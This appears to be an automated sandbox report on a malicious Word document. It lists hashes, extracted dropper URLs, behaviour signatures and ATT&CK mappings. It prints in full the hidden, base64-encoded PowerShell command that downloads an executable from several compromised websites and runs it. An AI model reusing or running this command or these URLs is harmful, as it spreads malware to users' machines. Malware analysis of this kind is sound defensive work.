3a0f0986193d0dc5e03ca1229e2509287593c03247e32bb5424009bc35e80738

Resubmissions

08-10-2022 00:17

221008-alen5seafl 10

07-10-2022 06:08

221007-gv6mjsbhhn 10

Analysis

max time kernel
129s
max time network
171s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07-10-2022 06:08

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Report Analysis Logs

General

Target

PKSJ Malware/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc
Size

172KB
MD5

6ad036ba93c94d6976e2d93c7a3aec6f
SHA1

cb098f7a0492454a31f3819a1b7ec143c0c507b6
SHA256

4ee0bf78e3b0a06c35fed0f912db6fabbb5fae13f838cd4132634359ad0d24da
SHA512

525d3ccb7078d6c34287307891023a47773cb3ec94d6e5d54a4c2cb4006be5ae3356238e8fe4ce5ff17767b8326af385a2be735dac8dbe78f10c185c665f7a00
SSDEEP

3072:vw2y/GdyrktGDWLS0HZWD5w8K7Nk9pD7IBUaT7jc5Hw:vw2k4jtGiL3HJk9pD7b+jMQ

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/

exe.dropper

https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/

exe.dropper

http://homemyland.net/tmp/wUHdeBS/

exe.dropper

https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/

exe.dropper

http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3424	2420	Powershell.exe

Blocklisted process makes network request 6 IoCs

Processes:

Powershell.exe

flow pid process

46 3424 Powershell.exe
48 3424 Powershell.exe
50 3424 Powershell.exe
55 3424 Powershell.exe
57 3424 Powershell.exe
58 3424 Powershell.exe

flow	pid	process
46	3424	Powershell.exe
48	3424	Powershell.exe
50	3424	Powershell.exe
55	3424	Powershell.exe
57	3424	Powershell.exe
58	3424	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4988 WINWORD.EXE
4988 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid process

3424 Powershell.exe
3424 Powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 3424 Powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

4988 WINWORD.EXE
4988 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

4988 WINWORD.EXE
4988 WINWORD.EXE
4988 WINWORD.EXE
4988 WINWORD.EXE
4988 WINWORD.EXE
4988 WINWORD.EXE
4988 WINWORD.EXE
4988 WINWORD.EXE

pid	process
4988	WINWORD.EXE
4988	WINWORD.EXE

pid	process
3424	Powershell.exe
3424	Powershell.exe

description	pid	process
Token: SeDebugPrivilege	3424	Powershell.exe

pid	process
4988	WINWORD.EXE
4988	WINWORD.EXE

pid	process
4988	WINWORD.EXE
4988	WINWORD.EXE
4988	WINWORD.EXE
4988	WINWORD.EXE
4988	WINWORD.EXE
4988	WINWORD.EXE
4988	WINWORD.EXE
4988	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4988 wrote to memory of 1952	4988	WINWORD.EXE	splwow64.exe
PID 4988 wrote to memory of 1952	4988	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PKSJ Malware\3\VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4988

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1952

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABCAHgAdQBoAGkAaABuAHIAdwBrAHoAbgBiAD0AJwBRAHIAYQBnAGkAcAB4AHcAZwAnADsAJABBAG4AdwBtAGkAdwBiAHUAegBoAHAAIAA9ACAAJwAyADEANgAnADsAJABUAHoAbgBsAG8AaQB5AGoAZgA9ACcASABzAHcAeQBkAGQAdwB5AGcAaQBzAGQAaAAnADsAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBuAHcAbQBpAHcAYgB1AHoAaABwACsAJwAuAGUAeABlACcAOwAkAEEAZwBkAGIAbgBjAHAAYQB0AHMAPQAnAEwAZQBkAGUAYwBsAHYAcwBvAGwAcgB0AHQAJwA7ACQAVwBuAGsAdgB4AHcAYgBhAD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBCAEMATABpAEUAbgBUADsAJABXAHoAagBsAGkAbABqAGMAZQA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHAAcgBvAHIAaQB0AGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQAcwBkAGIAMgA4AGQAZQAtAGsAdwAwAGMAaAAxAG0AcwB2AGkALQAwADAAMwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBpAGwAdgBlAHMAdABlAHIAaQBuAG0AYQBpAGwAYQBuAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBiAHYAZwB1AHgALQB5AGcANAAtADAAMwA0ADcANQAvACoAaAB0AHQAcAA6AC8ALwBoAG8AbQBlAG0AeQBsAGEAbgBkAC4AbgBlAHQALwB0AG0AcAAvAHcAVQBIAGQAZQBCAFMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAZQBsAGIAcgBhAC4AYwBvAG0ALgBiAHIALwBvAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AMgAwADEAOQAvAG0AYgB3AGwANgAtAGwAdwB1ADAAcABzAG0AYwBiAC0ANQAyADMALwAqAGgAdAB0AHAAOgAvAC8AcAByAGkAaABsAGEAcwBrAGEALgBzAGEAZwBpAHQAdABhAC4AYwB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBXAHcAYwBRAFgAdABSAHQAYQAvACcALgAiAHMAcABgAGwAaQB0ACIAKAAnACoAJwApADsAJABNAHkAYgB3AGYAZQBmAGgAcgA9ACcAUgB0AHMAcwBkAGcAdQBlAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoAbABxAHYAcQBnAHMAZgB4AGoAYwByAGEAIABpAG4AIAAkAFcAegBqAGwAaQBsAGoAYwBlACkAewB0AHIAeQB7ACQAVwBuAGsAdgB4AHcAYgBhAC4AIgBEAG8AYABXAG4ATABgAE8AQQBkAEYAaQBsAEUAIgAoACQAWgBsAHEAdgBxAGcAcwBmAHgAagBjAHIAYQAsACAAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegApADsAJABEAHAAcgBtAG4AdQBvAHAAPQAnAEUAdgBjAGIAcwB2AGQAdABnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADcANgA2ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQA7ACQAWQB1AGIAYQB2AGkAbAB6AHAAeQBuAGsAdgA9ACcAVABxAGsAdABiAHcAeABtAHkAJwA7AGIAcgBlAGEAawA7ACQATABrAHIAawBlAHcAcQBlAHIAeABrAD0AJwBHAGUAawBzAGcAaQBzAGYAZwByAGoAZAB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAYgBoAGQAbABmAHcAYgBoAGUAPQAnAFUAcgB0AGgAaQBkAGwAbQB4AG0AZQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3424

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1952-139-0x0000000000000000-mapping.dmp

Download
memory/3424-144-0x00007FFB54070000-0x00007FFB54B31000-memory.dmp

Filesize
10.8MB

Download
memory/3424-143-0x00007FFB54070000-0x00007FFB54B31000-memory.dmp

Filesize
10.8MB

Download
memory/3424-142-0x00007FFB54070000-0x00007FFB54B31000-memory.dmp

Filesize
10.8MB

Download
memory/3424-141-0x0000022339310000-0x0000022339332000-memory.dmp

Filesize
136KB

Download
memory/4988-136-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download
memory/4988-138-0x00007FFB3E250000-0x00007FFB3E260000-memory.dmp

Filesize
64KB

Download
memory/4988-137-0x00007FFB3E250000-0x00007FFB3E260000-memory.dmp

Filesize
64KB

Download
memory/4988-140-0x000001EABB470000-0x000001EABB474000-memory.dmp

Filesize
16KB

Download
memory/4988-132-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download
memory/4988-135-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download
memory/4988-134-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download
memory/4988-133-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download
memory/4988-146-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download
memory/4988-148-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download
memory/4988-147-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download
memory/4988-149-0x00007FFB406D0000-0x00007FFB406E0000-memory.dmp

Filesize
64KB

Download